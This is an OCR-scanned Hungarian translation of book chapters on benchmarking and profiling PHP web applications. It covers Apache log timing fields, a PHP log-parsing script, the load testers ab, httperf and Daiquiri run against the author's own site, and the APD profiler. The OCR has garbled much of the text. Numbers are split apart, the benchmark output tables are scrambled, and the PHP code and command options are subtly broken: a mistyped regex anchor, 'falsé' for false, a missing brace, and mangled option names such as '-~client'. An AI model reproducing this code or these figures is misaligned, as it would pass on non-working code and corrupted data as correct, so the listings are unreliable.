Webnaplózás A Blogger API leírását a http: //www.blogger. com/developers/api/l_docs címen találhatjuk meg. A MetaWeblog API leírása a http: / /www.xmlrpc . com/metaWeblogApi címen található. A MovableType bővítményeket kínál mind a MetaWeblog, mind a Blogger API-hez. Leírásuk a http://www.movabletype.org/docs/mtmanual_programmatic.html címen megtalálható. Az RSS egy nyílt XML formátum tartalom-közzétételhez. Leírását a http: //blogs . law.harvard. edu/tech/rss címen lelhetjük meg. Az XML-RPC példáinkban szereplő Serendipity webnaplózó rendszer a http: //www. s9y.org címen érhető el. Nyilvánosan elérhető webszolgáltatások A http: / /xmethods . net kifejezetten a webszolgáltatások fejlesztéséhez (elsősorban a SOAP és a WSDL alkalmazásokhoz) nyújt segítséget. Itt ingyenesen elérhető webszolgáltatások garmadáját találhatjuk, a szerkesztők pedig az együttműködési képességek próbára tételére hívnak fel. Az Amazon rendelkezik egy szabad SOAP felülettel. A részletekről a http: //www. amazon.com/gp/aws/landing.html címen érdeklődhetünk. A Google is rendelkezik szabad SOAP keresőfelülettel. Erről a http: / /www. google. com/apis címen olvashatunk.

Teljesítmény

Teljesítménymérés: teljes alkalmazások tesztelése
Az alkalmazások teljesítményének mérése nehéz feladat. Szükség van egy profilkészítőre, különböző beállításcsoportokkal kell futtatásokat végeznünk, és gyakran a kimerítő elemzés is elengedhetetlen. Nagy, illetve bonyolult programok esetében a profilkészítés-hangolás ciklusa akár napokig is elhúzódhat. A profilkészítés olyan, mint a nyomozás - felderíteni a gyenge pontokat és elemezni a könyvtárak tulajdonságát nagyszerű játék. De hol kezdjük a munkát, ha 1000 PHP oldal áll előttünk? Hogyan vizsgáljuk meg hatékonyan alkalmazásunk „egészségi állapotát"? Más részről, ott van a terhelésvizsgálat feladata is. Tegyük fel, hogy projektünk, melyen hat hónapig dolgoztunk, csaknem elkészült, főnökünk pedig azt követeli, hogy a rendszer képes legyen megfelelni 1000 felhasználó terhelésének. Miként biztosíthatjuk, hogy valóban elegendő lesz a kapacitás? Hogyan fedezzük fel a szűk keresztmetszeteket, mielőtt élesben kellene alkalmaznunk művünket? Ezekre a kihívásokra sajnos túl sok fejlesztő válaszol a próba-szerencse módszerének alkalmazásával. Persze esetenként az ilyen módszerek is lehetnek eredményesek - sok fejlesztő cég rendelkezik olyan szakemberrel, aki más versenytársaknál 10-szer vagy akár 100-szor nagyobb hatékonysággal deríti fel a hibákat, de még így is csak a gondok egytizedére akadnak rá. Ismerem ezt a világot - magam is ilyen fejlesztő voltam. Értettem az alkalmazás működését, és nem is voltam buta fickó. Ha adtak egy nap gondolkodási időt, és kedvemre próbálgathattam, számos olyan feladatot megoldottam, ami más fejlesztőkön kifogott. Mindez meglehetős tiszteletet vívott ki számomra a kollégák között - legalábbis sokan csodálták ezt a majdhogynem misztikus képességemet a gondok forrásának megtalálására.

456

PHP fejlesztés felsőfokon

Történetem célja azonban nem az, hogy meggyőzzem az Olvasót arról, milyen nagyszerű képességekkel rendelkezem - valójában a cél éppen ennek ellenkezője. Módszereim ugyanis meglehetősen esetlegesek és kevéssé célzottak voltak. Még ha okosan gondolkodtam is, a megfelelő teljesítménymérési eljárások sokkal gyorsabban rávilágítottak volna a gondok gyökereire - ráadásul mindezt valószínűleg nálam jóval hatékonyabban tették volna. Az alkalmazás teljesítményének mérése nagyléptékű vizsgálatot jelent - az alábbi lehetőségekkel: • A szolgáltatások kapacitástervének összeállítása. • A profílkészítést és teljesítményhangolást igénylő oldalak felderítése. • Az alkalmazás „egészségének" megértése. Az alkalmazás teljesítményvizsgálata nem mutat rá az egyes javítandó kódrészletekre. Ha meghatároztuk a komolyabb vizsgálatot igénylő oldalak listáját, ezek elemzését már a 19. fejezet módszereivel végezhetjük.

A szűk keresztmetszetek passzív azonosítása
A nagyléptékű rendszerek szűk keresztmetszetének azonosítására a legkézenfekvőbb módszere az, ha olyan adatokat vizsgálunk meg, melyeket már begyűjtöttünk, vagy igen könnyen elérhetők. Az ilyen vizsgálatok legegyszerűbbike az oldalak letöltési idejének áttekintése az Apache elérési naplóiban. A általános naplóformátum nem tartalmaz „eltelt idő" mezőt, de maga a naplózó rendszer támogatja a használatát. Ahhoz, hogy az oldal szolgáltatásához szükséges időt is feltüntessük (másodpercben), a LogFormat sort a %T beállítással kell kiegészítenünk: LogFormat "%h %1 %u %t \ " % r \ " %>s %b \"%{Referer)i\" \"%{User-Agent}i\" %T" combinedplus Ezután be kell állítanunk az új naplózási eljárást az új formátummal: CustomLog /var/apache-logs/default/access_log combinedplus Nos, ezzel el is készültünk. Új elérési naplónk (access log) így fest:
66.80.117.2 - - [23/Mar/2003:17:56:44 -0500] "GET /~george/index2.php HTTP/1.1" 200 14039 "-" "-" 1 66.80.117.2 - - [23/Mar/2003:17:56:44 -0500] "GET /-george/blog/ HTTP/1.1" 200 14039 "-" "-" 3 66.80.117.2 - - [23/Mar/2003:17:56:44 -0500]

17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése

457

"GET /-george/examples/ HTTP/1.1" 2 0 0 14039 " -" " - " 0 6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 : 5 6 : 4 4 -0 5 0 0 ] "GET /~george/index2.php HTTP/1.1" 2 0 0 14039 "-" "-" 1 6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 : 5 6 : 4 4 -0 5 00 ] "GET /-george/ HTTP/1.1" 2 0 0 14039 "-" "-" 1 66 . 80. 117 . 2 - - [ 2 3 / M a r / 2 0 0 3:1 7:5 6 :4 4 -0500] "GET /-george/blog/ HTTP/1.1" 2 0 0 14039 "-" "-" 2 66 . 80 . 11 7. 2 - - [2 3 / M a r / 20 0 3:1 7 :5 6 :4 4 -0500] "GET /-george/blog/ HTTP/1.1" 2 0 0 14039 "-" " -" 1 6 6 . 8 0 . 1 1 7 . 2 - - [ 2 3 / M a r / 2 0 0 3 : 1 7 :5 6 : 4 7 -0 5 0 0 ] "GET /~george/php/ HTTP/1.1" 2 0 0 1149 "-" " -" 0 Az oldal készítéséhez szükséges idő a bejegyzés utolsó mezőjében található meg. E bejegyzések közvetlen átnézése nyilván csak olyan esetekben vezet eredményre, ha egy oldallal igen súlyos gondok vannak - egyébként azonban nem sok következtetést vonhatunk le a kapott adatokból a minta kis mérete miatt. Ez ellen persze könnyen tehetünk, csak futtassuk a naplózót néhány órán keresztül, és elemezzük az eredményt ezután. Nagyobb statisztikai mintánál a számok többet mondanak. Ha elegendő adat gyűlt össze, elemzésüket az alábbi programmal is elvégezhetjük: #!/usr/local/bin/php ################## # parse_logs.php # ################## <?php $input = $_SERVER['argv'][1]; $fp = fopen($input, "r"); // a általános naplóformátum illesztése egy kiegészítő „idő" paraméterrel $regex = '/A(\S+) (\S+) (\S+) \[([":]+):(\d+:\d+:\d+) ( ["\]]+)\] ' . ' "(\S+) (.*?) (\S+)" (\S+) (\S+) (\S+) (\S+) (\d+)$/'; while(($line = fgets($fp)) ! == falsé) { preg_match($regex, $line, $matches); $uri = $matches[8]; $time = $matches[12]; list($file, $params) = explode('?',$uri, 2); $requests[$file][] = $time; $requests[$file] ['count']++; // átlag kiszámítása $requests[$file]['avg'] = ($requests[$file]['avg']*($requests[$file]['count'] - 1) + $time)/$requests[$file]['count']; }

458

PHP fejlesztés felsőfokon

// saját rendező függvény az átlagos elérési idők // alapján történő rendezésre $my_sort = create_function('$a, $b', ' if($a[avg] == $b[avg]) { return 0; } else {

return ($a[avg] > $b[avg]) ? 1 : -1; uasort($requests, $my_sort); reset($requests); foreach($requests as $uri => $times) { p r i n t f ( " % s %d % 2 . 5 f \ n " , $uri,
} ?>

$times['count'],

$times['avg']);

A programot a következőképpen futtathatjuk: parse_logs.php /var/apache-logs/www.schlossnagle.org/access_log Ezzel hozzájutunk a kérelmezett URL-ek átlagos letöltési idő szerint rendezett listájához: /~george/images/fr4380620.JPG 105 0.00952 /~george/images/mc4359437.JPG 7 6 0.01316 /index.rdf 36 0.02778 /-george/blog/index.rdf 412 0. 03 641 /-george/blog/jBlog.ess.php 141 0.04965 /-george/blog/archives/000022.html 19 0 . 0 5 26 3 /~george/blog/rss.php 18 0 . 05 5 5 6 /-george/blog/jBlog_admin.php 8 0 . 1 2 50 0 /~george/blog/uploads/020-20d.jBlogThumb.jpg 48 /-george/blog/ 2 96 0. 14865

0.14583

Terhelésképzők
Az oldalak jellemzőinek vizsgálatára nem igazán jó az a módszer, melyben egy élesben működő rendszerben kell várnunk arra, hogy a megfelelő körülmények előálljanak. Sok esetben nem célszerű mélyreható vizsgálatokat végezni egy éppen működő, feladatát végző kiszolgálón. Máskor pedig szükség van arra, hogy nagyobb mértékben terheljünk meg egy webhelyét, mint az szokásosan előfordul. Annak érdekében, hogy szükség esetén biztosítani tudjuk a forgalom kívánt jellemzőit, terhelésképzőket (load generátor) alkalmazhatunk. Két típusuk ismeretes: a mesterséges és a valósághű terhelésképzők. Az előbbiek nem fordítanak különösebb figyelmet arra, hogy utánozzák a rendes használat körülményeit - inkább állandó és könyörtelen kérelemözönnel bombáznak egy vagy több oldalt.

17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése

45

A mesterséges terhelésképzők hasznosak lehetnek, ha egyes oldalakat vizsgálunk, de nem alkalmasak a teljes webhely kapacitásának meghatározására, illetve olyan rejtett szűk keresztmetszetek kiszűrésére, melyek csak életszerű helyzetekben jelennek meg. Ilyen esetekben van szükség valósághű terhelésképzőkre, melyek visszajátszóként is ismeretesek, hiszen legtöbbször naplófájlok lekérdezési mintázatát játsszák vissza időzített folyamatként. ab A mesterséges terhelésképzők legegyszerűbbike az ApacheBench, vagy ab, melyhez hozzájutunk az Apache kiszolgálóval. Ez egy egyszerű többszálas teljesítménymérő eszköz, amely megadott sűrűségben és egyidejűséggel leadott kérelmekkel bombáz egy adott URL-t. Persze igazságtalanok vagyunk, ha az ab-t „egyszerű" eszköznek nevezzük, hiszen rengeteg igen izgalmas lehetőséggel rendelkezik. íme egy próbafuttatás eredménye, melyben webnaplómat 10 000 kérelem érte, 100-as egyidejű csoportokban: > /opt/apache/bin/ab -n 1000 -c 100 http://localhost/~george/blog/index.php This is ApacheBench, Version 1.3d <$Revision: 1.65 $> apache-1.3 Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, ■ http://www.zeustech.net/ Copyright (c) 1998-2002 The Apache Software Foundation, • http://www.apache.org/ Benchmarking www.schlossnagle.org (be patient) Completed 100 requests Completed 200 requests Completed 300 requests Completed 400 requests Completed 500 requests Completed 600 requests Completed 700 requests Completed 800 requests Completed 900 requests Finished 1000 requests Server Software: Apache/1.3.2 6 Server Hostname: www.schlossnagle.org Server Port: 80 Document Path: Document Length: Concurrency Levél: Time taken for tests: Complete requests: Failed requests: /-george/blog/index.ph 33086 bytes 100 41. 792 seconds 1000 0

460

PHP fejlesztés felsőfokon

Broken pipe errors: Non-2xx responses: Totál transferred: HTML transferred: Requests per second: Time per request: Time per request: Transfer rate: Connection Times (ms) Connect: Processing: Waiting: Totál: Percentage 50% 66% 75% 80% 90% 95% 98% 99% 100%

0 0 33523204 bytes 3 3 0 8 4 2 0 4 bytes 2 3 . 9 3 [ # /se c ] (mean) 4 1 7 9 . 2 0 - (mean) 4 1 .7 9 - (mean, across all concurrent requests) 8 0 2 .1 4 [Kbytes/sec] received

min mean[+/-sd] 38 92 .6 585 3 9 4 4 736 .9 432 3 9 4 3 73 8 .1 585 3 9 8 2 686.9 0

median max 1 336 4 0 6 6 10601 4 0 6 6 10601 4 0 8 7 10601

of the requests served within a certain time (ms) 4087 4211 4284 4334 4449 4579 4736 4847 10601 (last request)

Naplóm majdnem 24 kérelmet volt képes kiszolgálni másodpercenként, ami kérelmenként 41,79 ezredmásodperces időráfordítást jelentett - ebből 39,43 várakozással telt el (ami durván a kérelem kezelésének felel meg az alkalmazásban). Az alapvető lehetőségek mellett az ab támogatja saját fejlécek küldését, sütik használatát, az egyszerű HTTP hitelesítést, valamint a POST adatokat. httperf Ha az ab-nél szélesebb körű lehetőségekre vágyunk, nagyszerű választás lehet a httperf, melyet Dávid Mosberger jegyez a Hewlett Packard Research Labs-től. Ez a hatékony eszköz képes megfelelni a nagy adatforgalom igényeinek, támogatja a HTTP 1.1 protokollt és könnyen bővíthető - igazándiból utóbbi két tulajdonságában különbözik lényegében az ab-től. Használata mindenképpen jól jöhet, ha olyan viselkedést kívánunk vizsgálni, amely tartalomtömörítést vagy más, a HTTP 1.l-ben megjelent lehetőséget használ. A korábbi vizsgálathoz hasonlót a httperf segítségével az alábbiak szerint végezhetünk: > httperf -~client=0/l --server=localhost --port=80 --uri=/~george/blog/index.php

17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése

461

--rate=40 --send-buffer=4096 --recv-buffer=16384 --num-conns=100 --num-calls=l Totál: connections 1000 requests 1000 replies 1000 test-duration 50.681 s Connection rate: 19.7 conn/s ( 5 0 . 7 ms/dconn, <=421 concurrent connections) Connection time -: min 274 avg 8968 max 33513 median 6445 stddev 6340 Connection time -: connect 2 5 9 6 . 0 Connection length [replies/conn]: 1. 000 Request rate: 19.7 req/s Request size [B]: 93.0 ( 5 0 . 7 ms/req) avg 19.8 max 2 5 . 8 stddev 8.4 transfer 2 6 2 . 8 content 3 3 0 8 4 . 0 footer 2.0 3xx=0 4xx=0 5xx=0 (user 1 . 3% system 27.1%

Reoly rate [replies/s]: min 1.2 (10 samples) Reply time -: response 6110.0 Reply size [B]: header 4 6 0 . 0 (totál 3 3 5 4 6 . 0 ) Reply status: lxx=0 2xx=1000

CPU time [s]: user 0.64 system 13.71 totál 2 8 . 3 % ) Net I/O: 648.2 KB/s (5.3*10^ 6 bps)

Errors: totál 0 client-timo 0 socket-timo 0 connrefused 0 connreset 0 Errors: fd-unavail 0 addrunavail 0 ftab-full 0 other 0 A httperf egyik hasznos tulajdonsága, hogy lehetővé teszi több terhelésképző használatát is. Az előző példában az alapértelmezett, rögzített URL alapú terhelésképzőt mutattuk be, amely csak egyetlen URL-t ér el. Emellett azonban rendelkezésünkre áll egy napló alapú terhelésképző és munkamenet-szimulátor, valamint egy valósághű adatképző.
A napló alapú terhelésképző

Ez a terhelésképző kérelmek egy sorozatát küldi egy fájlban meghatározott URL-ekre. Ezt a fájlt a -wlog=loop, filé kapcsolóval adhatjuk meg, ahol a loop egy y/n (igen/nem) érték, mellyel azt állíthatjuk be, hogy a program visszaugorjon-e a fájl (filé) elejére, amennyiben a végére ért. Az -uri kapcsolóval megadott URI-t a program minden URL elé betoldja. íme egy példa, melyben az URL-eket a /tmp/urllist naplóból olvassuk be: httperf --client=0/l --server=www.schlossnagle.org --port=80 -wlog=y,/tmp/urllist --rate=40 --send-buffer=4096 --recv-buffer=16384 ~-num-conns=100 --num-calls=l Az URL lista elemeit ASCII null karakterekkel (chr (0)) kell elválasztanunk egymástól.

462

PHP fejlesztés felsőfokon A munkamenet-szimulátor A munkamenet-szimulátor a felhasználó viselkedését kérelmek sorozatával próbálja meg utánozni. Működésének jellemzőit négy paraméterrel - Ni, N2, X és L — határozhatjuk meg. Egy munkamenet N2 hívásból áll, melyek L-es csoportokra oszlanak. E csoportok felépítése a következő: a rendszer kiad egy kérelmet, megvárja a választ, majd a többi kérelmet egyszerre indítja el. Ez azt a helyzetet utánozza, amikor egy weboldalon L-l kép, illetve másodlagos objektum található - a felhasználó először a kezdeti kódot kéri, majd ha a HTML megérkezett, jöhetnek a képek. A következő csoport indítása előtt a munkamenet X másodperc szünetet tart. Az Ni a megkezdendő munkamenetek számát határozza meg. A paraméterek az alábbiak szerint adhatók meg:
--wsess=Nl,N2,X -burst-length=L

A valósághű adatképző A httperf lehetővé teszi a felhasználó munkameneteinek majdnem valósághű visszajátszását egy egyszerű módszer segítségével. Az a visszajátszó program, amely a php. net tüköroldalt olvassa 10 másodpercig, majd továbbugrik a docs oldalra, a következőképpen fest: /index.php think=10 /images/news/afup-logo.gif /images/news/chmhelp.gif /images/news/conference_php_quebec. g i f /images/news/hu_conf. gi f /images/news/international_conference_2003_spring.gif /images/news/mysgluc2003.png /images/news/phpcon_logo.png /images/php_logo.gif /images/rss10. g i f
/images/spacer.gif /backend/mirror.gif /docs.php /images/php_logo.gif /images/spacer.gi f

A kilógó sorok egy csoport kezdetét jelentik, míg az alattuk levők az ide tartozó alkérelmek. A csoportkezdő soroknál egyedi beállításokat adhatunk meg - mennyit várjunk a következő csoportig, milyen módszert használjunk, illetve beállíthatjuk a POST adatokat, és így tovább. A munkamenetek programbeli megvalósítása igen hatékony eszköz, de a programfájlok (szkriptek) - jóllehet igen elegáns - formátuma megnehezíti a valódi munkamenetek át-

17. fejezet • Teljesítménymérés: teljes alkalmazások tesztelése

463

írását. Jó lenne, ha létezne egy olyan eszköz, ami képes olvasni az Apache naplóit és visszajátszani - nem csak egyszerűen elemenként, hanem az eredeti felállásnak megfelelő időzítéssel. A Daiquiri éppen ezt teszi.

Daiquiri
A Daiquiri olyan webes terhelésképző, amely képes értelmezni az Apache általános naplóformátumában (Common Log Formát) levő naplóit, és vissza is játssza azokat. A program beállításai egy fájlban, az alábbi alakban találhatók meg: Schema test = {
Headers = "Hőst: www.schlossnagle.org\r\n" Log = "/var/apache-logs/replay.log" RequestAllocation "reqalloc.so::SinglelP" => { 192.168.52.67:80 }

ChunkLength = 5 ChunkCushion = 1 HTTPTimeout = 200 MultiplicityFactor = 1
}

A Headers egy tetszőleges, újsor karakterekkel elválasztott fejlécekből álló karakterláncot takar. A Log megadja azt a naplófájlt, amelyből olvasunk - fontos, hogy ez általános naplóformátumban legyen. A RequestAllocation meghatározza a kérelmek kiadásának módját. A Daiquiri támogatja a kérelemkezelő modulok dinamikus betöltését, ami igen hasznos lehet, ha a beépített működésmódokkal nem vagyunk elégedettek. Ezek egyébiránt a következők: • SinglelP - Minden kérelmet a megadott IP címre küld. • TCPlPRoundRobin - A kérelmeket forgató (round-robin) módszer szerint osztja ki a felsorolt IP címek között. A ChunkLength és a ChunkCushion megadja, milyen messzire mehetünk előre (másodpercben mérve) a naplófájl feldolgozásában. A Daiquiri feltételezi, hogy a naplófájl sorai időrendben követik egymást. A MultiplicityFactor beállításával lehetővé tehetjük, hogy a forgalmat a program a kérelmek időzített többszöri kiadásával biztosítsa. Ez egyszerű módot ad arra, hogy webes alkalmazásaink kapacitását valós időben életszerű adatokkal mérjük fel.

464

PHP fejlesztés felsőfokon

További olvasmányok
A Sun teljesítményvizsgáló nagymestere, Adrián Cockroft Capacity Planning for Internet Services című könyve felbecsülhetetlen értékű tudnivalókat tartalmaz a hagyományos kapacitástervezési és -elemzési módszerek webes alkalmazásával kapcsolatban. A httperf letölthető Dávid Mosberger webhelyéről, a www.hpl .hp.com/personal/ /David_Mosberger/httperf .html címről. Ugyanitt találhatunk néhány hivatkozást olyan cikkekre, amelyek megmagyarázzák a httperf mögött meghúzódó tervezési elgondolásokat, és tanácsokkal is szolgálnak hatékony alkalmazásához. A Daiquiri Theo Schlossnagle műve - letöltésére projektjei között, a következő címen van lehetőségünk: www.omniti. com/~jesus/projects.

Profilkészítés
Ha hivatásszerűen foglalkozunk PHP programozással, előbb vagy utóbb mindenképpen szükségünk lesz alkalmazásunk teljesítményének javítására. Ha nagy forgalmú webhelyen dolgozunk, ez napi vagy heti teendőink közé tartozhat, ha pedig projektjeink javarészt a belső hálózaton futnak, erre ritkábban van szükség. Mindazonáltal, egy idő után a legtöbb alkalmazást újra kell hangolni a megfelelő teljesítmény elérése érdekében. Amikor előadást tartok a PHP alkalmazások teljesítményének fokozásáról, szeretek különbséget tenni a hangolási eszközök és a diagnosztikai módszerek között. Az eddigiekben leginkább az előbbiekkel foglalkoztunk: gyorstárazással, rendszerszintű hangolással, az adatbázis-lekérdezések optimalizálásával, valamint az algoritmusok hatékonyságának növelésével. Mindezekre úgy tekinthetünk, mint egy szerszámkészlet szerszámaira - a kalapács, a nyomatékkulcs, vagy a csavarhúzó épp ilyen szerepet tölt be egy szerelő életében. Ahogy egy kereket sem cserélhetünk ki egy kalapács segítségével, úgy egy adatbázissal kapcsolatos gondot sem orvosolhatunk néhány szabályos kifejezés módosításával. Jó szerszámkészlet nélkül a gondok megoldása lehetetlen, de szerszámaink egy fabatkát sem érnek, ha nem tudjuk, melyiket mikor alkalmazzuk. Az autókarbantartás szakterületén a megfelelő szerszám kiválasztása a tapasztalat és a helyes probléma-felismerés együttes eredménye. A helyes diagnosztikai módszerek még igen egyszerű gondoknál is nagy segítséget jelenthetnek. Egy defektes kerék esetében például hiába képes valaki befoltozni a lukat, ha nem találja meg. Az összetettebb helyzetek mélyrehatóbb hibafelderítést igényelnek. Ha az autó akadozva gyorsul, egyszerűen találgatással kicserélhetem a motor egyes darabjait, míg a működés javulni nem kezd. Ez a módszer persze költséges mind az anyagiakat, mind az időt tekintve. Sokkal célszerűbb elvégezni egy motordiagnosztikai vizsgálatot, ami rámutat a hiba pontos okára. A számítógépprogramok általában összetettebbek, mint az autó motorja, mégis, sokszor a tapasztalt felhasználók is találgatásokba bocsátkoznak a teljesítményhiányosságok helyét illetően. 2003-ban a php. net webhelyeken jelentős lassulások voltak tapasztalhatók. Az Apache webkiszolgáló naplóinak vizsgálata alapján hamar kiderült, hogy a keresőoldalak felelősek a gondokért. Mindazonáltal ahelyett, hogy tüzetes elemzéssel próbálták volna megtalálni a hiba pontos okát, inkább a véletlenszerű találgatások módszerét vá-

466

PHP fejlesztés felsőfokon

lasztották. A végeredmény az volt, hogy egy olyan problémára, melynek megoldása rendesen egy órába telt volna, napokig gyártottak olyan „megoldásokat", amelyek valójában nem érintették a lényeget. Ha valaki azt képzeli, hogy egy nagy alkalmazásban a puszta ráérzés alapján képes megtalálni a teljesítménycsökkenés okát, hatalmasat téved. Éppen annyira bíznék egy szerelőben, aki mindenféle tesztek nélkül kijelenti, mi az autóm baja, vagy egy orvosban, aki vizsgálatok nélkül megállapítja a betegségemet, mint egy olyan programozóban, aki anélkül, hogy a kód elemzésébe bocsátkozna, rámutat a teljesítménycsökkenés forrására.

A jó PHP profilkészítő titka
A jól használható profilkészítőknek az alábbi követelményeket kell kielégíteniük: • Áttetszőség - A profilkészítő működésbe helyezéséhez nem szabad semmiféle kódváltoztatást megkövetelnünk. Az ilyen módosítás egyrészt kényelmetlenségeket okoz (és így csökkenti a módszer igénybe vételének esélyét), de emellett természeténél fogva befolyásolja a program futását, így önmagunkat csaphatjuk be vele. • Minimális többletterhelés - A profilkészítők csak minimális többletterhet jelenthetnek a programok futtatásánál. Ideális esetben a motor lassulás nélkül kell működjön, ha a program profilját nem készítjük el, és szinte lassulás nélkül, ha igen. A nagy terhelés azt jelentené, hogy a profilkészítőt nem futtathatnánk teljesítményhibák keresésére, és jelentős belső mérési hibák forrása volna (így például meg kellene győződnünk arról, hogy nem saját magát méri). • Könnyű használat - Talán mondanunk sem kell, annyira természetes, hogy a profilkészítés eredményének könnyen érthetőnek kell lennie. Jó, ha több kimeneti formátum is rendelkezésünkre áll, melyeket később nyugodtan átvizsgálhatunk. A finomhangolás sok esetben hosszú vizsgálatot és sok kódváltoztatást igényel. A régi profilok áttekintésének és összevetésének lehetősége éppen ezért létfontosságú.

Profilkészítő alkalmazások - a bőség zavarával küszködve
Hasonlóan más, a PHP-vel kapcsolatos lehetőségekhez, a profilkészítőkből is egész csokor áll rendelkezésünkre: • Kódbeli profilkészítők - Ebbe a csoportba igen érdekes, ám alapjukban hibás megoldások tartoznak. Itt PHP-ben írt profilkészítőkról van szó, ami annyiban mindenképpen izgalmas, hogy mindig öröm olyan PHP segédeszközöket látni, melyek maguk is PHP-ben készültek. Sajnálatos módon azonban van egy, a lényeget érintő hibájuk: használatukhoz szükség van a kód módosítására (minden vizsgálni kívánt függvénynél meg kell oldanunk a profilkészítő kód hívását), így a programmal együtt futó profilkészítő eltolhatja a teljesítménymérleget. E profilkészítők használata általában véve

18. fejezet • Profilkészítés

467

ellenjavallt, kivéve az élesben működő alkalmazások egyes függvényeinek időmérését abban az esetben, ha nem telepíthetünk bővítmény alapú profilkészítőt. A kódbeli profilkészítők jó példája a PEAR-ben elérhető Benchmark_Profiler, melyet a http: //pear.php. net /package/Benchmark címen találhatunk meg. • Advanced PHP Debugger (APD) - Az APD, melyet Dániel Cowgill-lel közösen fejlesztettünk ki, egy PHP bővítmény alapú profilkészítő, ami a pontos időmérés érdekében felülírja a Zend Engine végrehajtási hívásait. Természetesen némiképp elfogult vagyok e megoldás irányában, de ennek tudatában is ki merem jelenteni, hogy az APD rendelkezik a legsokoldalúbb és legváltozatosabban beállítható profilkészítési lehetőségekkel az ismert megoldások között. A program a gép által olvasható nyomkövetési fájlokat készít, így lehetőség van különböző módú utólagos feldolgozásukra is. Emellett rendelkezik felhasználói szintű horgokkal a kimenet formázásához, így az eredményt elküldhetjük a böngészőnek, XML vagy bármilyen más formátumba csomagolva. Kapunk továbbá egy lépésenkénti interaktív hibakeresőt is, melyről most nem szólunk bővebben. Az APD-t a PEAR PECL tárában, a http: //pecl.php. net /apd címen találhatjuk meg. • DBG - A DBG egy Zend bővítmény alapú hibakereső és profilkészítő, ami ingyenesen, valamint kereskedelmi változatban is elérhető a PHPEd kódszerkesztővel. A DBG nagyszerű hibakeresési lehetőségekkel rendelkezik, de a profilkészítési támogatása nem olyan erős, mint az APD-é. A programot a http: //dd. cron.ru/dbg címen találhatjuk meg. • Xdebug - Dériek Rethans Xdebug-ja egy Zend bővítmény alapú profilkészítő hibakereső. Jelenleg a három bővítmény alapú hibakereső közül ez a legjobb, több felülettel és sokoldalú beállítási lehetőségekkel. Profilkészítő képességei azonban elmaradnak az APD hasonló lehetőségei mögött, különösen a meglevő nyomkövetési adatok többirányú feldolgozása terén. Az Xdebug megtalálható a http: / /xdebug. org címen. Fejezetünk további részében az APD segítségével végezzük el a programok profiljának elkészítését. Ha más segédeszközt használunk (érdemes minden lehetőséget kipróbálni), a tanultak alkalmazása akkor sem okozhat különösebb nehézségeket. Az itt elsajátított stratégiák nem köthetők az egyes profilkészítőkhöz - csak a konkrét példák térhetnek el egymástól.

Az APD telepítése és használata
Az APD a PECL része, így a PEAR telepítőt használhatjuk a telepítéséhez: # pear install apd Ha ez megtörtént, munkába is kell állítanunk a php. ini megfelelő beállításával: zend_extension=/path/to/apd.so apd.dumpdir=/tmp/traces

468

PHP fejlesztés felsőfokon Az ADP működése során nyomkövetési fájlokat készít, melyeket a pprofp segédprogrammal dolgozhatunk fel a későbbiekben. A fájlok az apd. dumpdir könyvtárba kerülnek, nevük pedig a pprof .pid alakot ölti, ahol a pid a kiírást végző folyamat azonosítója. Ahhoz, hogy egy programot nyomon kövessünk, mindössze az alábbi függvényt kell meghívnunk a kezdéskor (általában a program elején): apd_set_pprof_trace() ; Az APD a következő eseményeket rögzíti: • Belépés egy függvénybe. • Kilépés egy függvényből. • Fájl beemelése. Mindemellett, amikor egy függvény visszatér, az APD megvizsgál néhány belső számlálót, és megnézi, mennyit haladtak előre a legutóbbi ellenőrzés óta. Ezek a számlálók a következők: • Reál Time („falióra-idő") - Az eltelt valódi idő (valós idő). • User Time - A felhasználó kódjának CPU-futtatási ideje (felhasználói idő). • System Time - Az operációs rendszer magszintű hívásaival töltött idő (rendszeridő).

A belső időmérők pontossága Az APD elemzése olyan pontosságú, amit az elérhető rendszerszintű mérőeszközök lehetővé tesznek számára. A FreeBSD-n mindhárom számláló ezredmásodperc pontosságú, míg a Linux rendszereken (legalábbis a 2.4-es változatban) a User Time és a System Time csak századmásodperces pontosságot ad.

A nyomkövetési fájlt elkészítése után a pprofp programmal elemezhetjük. Ez a segédprogram számos rendezési és megjelenítési lehetőséggel rendelkezik, melyek lehetővé teszik, hogy egyetlen nyomkövetési fájl alapján különböző nézőpontokból tekinthessünk a program működésére. íme a pprofp beállítási lehetőségei: pprofp <kapcsolók> <nyomkövetési fájl> Rendező kapcsolók -a Rendezés az eljárások nevei szerint. -1 Rendezés az eljárások hívásának száma szerint. -r Rendezés az eljárásokban töltött valós idő szerint. -R Rendezés az eljárásokban töltött valós idő szerint (a gyermekhívásokkal együtt). -s Rendezés az eljárásokban töltött rendszeridő szerint.

18. fejezet • Profilkészítés

469

-S -u -U -v -z

Rendezés az eljárásokban töltött rendszeridő (a gyermekhívásokkal együtt), Rendezés az eljárásokban töltött felhasználói Rendezés az eljárásokban töltött felhasználói (a gyermekhívásokkal együtt), Rendezés az eljárásokban töltött átlagos idő Rendezés az eljárásokban töltött rendszer-, plusz felhasználói idő szerint (alapértelmezés).

szerint idő szerint. idő szerint szerint.

Megjelenítési kapcsolók -c Megjeleníti az eltelt valós időt a hívási fában. -i Elrejti a php beépített függvényeit. -m Megjeleníti a fájl/sor pozíciókat a nyomkövetési adatokban -0 szml Meghatározza a megjeleníthető eljárások legnagyobb számát (alapállapotban 1 5) . -t Tömörített hívási fát jelenít meg. -T Tömörítetlen hívási fát jelenít meg.
Különösen érdekes a -t és a -T kapcsoló, melyekkel megjeleníthetjük a hívási fát, valamint a rendező kapcsolók. Amint láthattuk, ez utóbbiak lehetővé teszik, hogy a függvényeket rendezzük a kizárólag velük töltött idő alapján (ebbe nem számítanak bele a gyermekhívások), valamint a hívásokkal együtt mért idő alapján. Általában a valós eltelt idő alapján érdemes rendeznünk (-r vagy -R), mivel ezt az időt érzik a látogatók az oldalon. Itt megjelenik a várakozás a válaszra az adatbázishívásoknál, és más, hasonlóan blokkoló műveletek időtartama. Jóllehet az ilyen szűk keresztmetszetek ismerete igen hasznos lehet, sokszor kíváncsiak vagyunk arra is, milyen teljesítményt nyújt nyers kódunk a kimeneti-bemeneti műveletek várakozási idejétől eltekintve. Ilyenkor alkalmazhatjuk a -z, illetve a -Z kapcsolókat, melyek a CPU használatával töltött időt mérik.

